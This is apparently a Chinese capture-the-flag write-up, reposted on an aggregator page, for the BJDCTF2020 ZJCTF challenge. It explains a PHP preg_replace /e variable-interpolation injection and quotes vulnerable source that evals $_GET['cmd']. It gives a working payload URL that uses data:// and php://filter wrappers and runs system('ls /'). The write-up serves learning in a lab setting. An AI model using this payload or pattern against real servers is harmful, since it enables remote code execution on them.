当前位置: 首页 > news >正文

[BJDCTF2020]ZJCTF,不过如此

 

和之前做过的一道题一样,text用data协议绕过,file用php://filter读取next.php源码 :

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

这个代码有点看不懂。找不到代码执行的突破点。

未经过验证的知识:

preg_replace( '/(' . $re . ')/ei',  'strtolower("\\1")',  $str )

  • 先通过'/(' . $re . ')/ei'对$str进行匹配。

        '.$re.'表示动态生成表达式。()表示生成捕获组,简单来说就是把 $re 匹配到的内容            保存下来,可以通过\1 、\2来引用。

  • 接着执行第二个参数,其中引用了\1
  • 最后用执行得到的结果替换掉匹配到的文本。

以上内容都是根据AI给出总结的,由于/e标志已经被废弃,复现没有成功。

foreach($_GET as $re => $str)   {echo complex($re, $str). "\n";}

表示对所有通过 GET 请求传递的参数进行遍历处理,将参数名作为正则表达式$re,参数值作为待处理的字符串$str,然后利用complex函数执行不区分大小写的替换操作,最后把处理后的结果输出。

下面是一些经过验证的知识:

$A = 'ABC';

//双引号内变量会解析

echo "$A";//ABC

echo '$A';//$A

//变量名会解析,首先执行${}中的表达式进行变量名处理

echo ${chr(65)};//ABC

echo "{${chr(65)}}";//ABC

//函数不调用

echo "phpinfo()";//phpinfo()

总结一下就是php中,双引号内的字符串中的变量名和变量都会被解析,但是函数不会自动调用。单引号则都不会解析。

假如

$re = '/(.*)/e'   

  • .:匹配除换行符(\n)之外的任意单个字符。

  • *:表示前面的字符可以出现零次或多次(也就是重复 0 到无穷次)。

  • 组合效果:.* 能够匹配任意数量的任意字符(不包括换行符),直到遇到匹配终止的条件。

$str = ${getFlag()}

表达式preg_replace( '/(.*)/ei',  'strtolower("\\1")', ${getFlag()}),

首先会对变量名进行解析,即${getFlag()},就会执行该函数。

验证:(php5.3)

function getFlag(){

    @eval(system('whoami'));

}

preg_replace('//', '1', ${getFlag()});

上面这段程序也能执行getFlag函数。

既没有使用/e也没有使用strtolower(),仅由于变量名解析,函数同样执行了。

所以我还不清楚这里的reg_replace的作用在哪?

 构造playload试试:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=next.php&a={${getFlag()}}&cmd=system("ls /");

未能输出结果。输出:{${getFlag()}},说明getFlag()没有执行。

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=next.php&/S*={${getFlag()}}&cmd=system("ls /");

成功执行系统命令并输出结果。

这说明reg_replace()函数确实是这道题的关键所在。

重新看了一下代码我明白了!

function getFlag(){

    return @eval(system('whoami'));

}

$str = '${getFlag()}';

preg_replace('//', '1', $str);

源代码应该是类似这种,因此最后一条语句其实相当于

preg_replace( '/(.*)/ei',  'strtolower("\\1")', '${getFlag()}')

'${getFlag()}'是有单引号包裹的!因此不会解析变量名。

只有执行strtolower("${getFlag()}")时才会解析变量名,因此这道题变量解析发生在 strtolower 函数内部,而非 preg_replace 参数传递时。

最后有几个需要注意的地方:

1、.*不能当做GET传参变量名,.会被自动转为_,因此这里使用\S*

\S的作用是匹配任意一个非空白字符,这里的空白字符涵盖了空格、制表符、换页符、换行符等。也就是说,只要不是空白字符,\S都能与之匹配。

2、 cmd = system("ls /"); 直接使用cmd = ls /是不行的,因为eval函数的作用是将其中字符串当作php代码执行,但是ls是系统命令,必须由system执行。另外就是eval中参数末尾需要加分号,就行php代码一样。

http://www.dtcms.com/a/275464.html

相关文章:

  • HarmonyOS从入门到精通:动画设计与实现之六 - 动画曲线与运动节奏控制
  • Leetcode百题斩-二分搜索
  • 【C语言】回调函数、转移表、qsort 使用与基于qsort改造冒泡排序
  • linux_线程概念
  • 死锁的概念 ⚠️
  • 告别频繁登录!Nuxt3 + TypeScript + Vue3实战:双Token无感刷新方案全解析
  • TinyBERT:知识蒸馏驱动的BERT压缩革命 | 模型小7倍、推理快9倍的轻量化引擎
  • python-for循环
  • 【Elasticsearch】昂贵算法与廉价算法
  • UI前端大数据可视化实战策略分享:如何设计符合用户认知的数据可视化流程?
  • 让 VSCode 调试器像 PyCharm 一样显示 Tensor Shape、变量形状、变量长度、维度信息
  • 「日拱一码」025 机器学习——评价指标
  • Android音视频探索之旅 | C++层使用OpenGL ES实现音频渲染
  • 单片机学习笔记.根据芯片数据手册写驱动程序(这里使用的是普中开发版,以DS1302为例)
  • 创建Spring Boot项目
  • 解决‘vue‘ 不是内部或外部命令,也不是可运行的程序
  • 前端开发的「设计鸿沟」:为什么我学了CSS却做不出好看的网页?
  • 用YOLOv5系列教程(1)-用YOLOv5轻松实现设备状态智能监控!工业级教程来了
  • 【工具】什么软件识别重复数字?
  • C++结构体的定义与使用
  • 机器学习(ML)、深度学习(DL)、强化学习(RL)关系和区别
  • Redis 基本操作笔记
  • 关于wpf的自适应
  • 基于 Redisson 实现分布式系统下的接口限流
  • [特殊字符] 深入掌握 dsquery:Active Directory 高效查询与安全运维指南
  • sqli-labs靶场通关笔记:第7-8关 布尔盲注
  • Gemini CLI 代理问题解决[API Error: exception TypeError: fetch failed sending request]
  • 【Linux-云原生-笔记】数据库操作基础
  • 【机器学习|学习笔记】详解决策树CART算法,并对比ID3 C4.5和CART算法
  • 系统分析师-计算机系统-计算机系统概述存储系统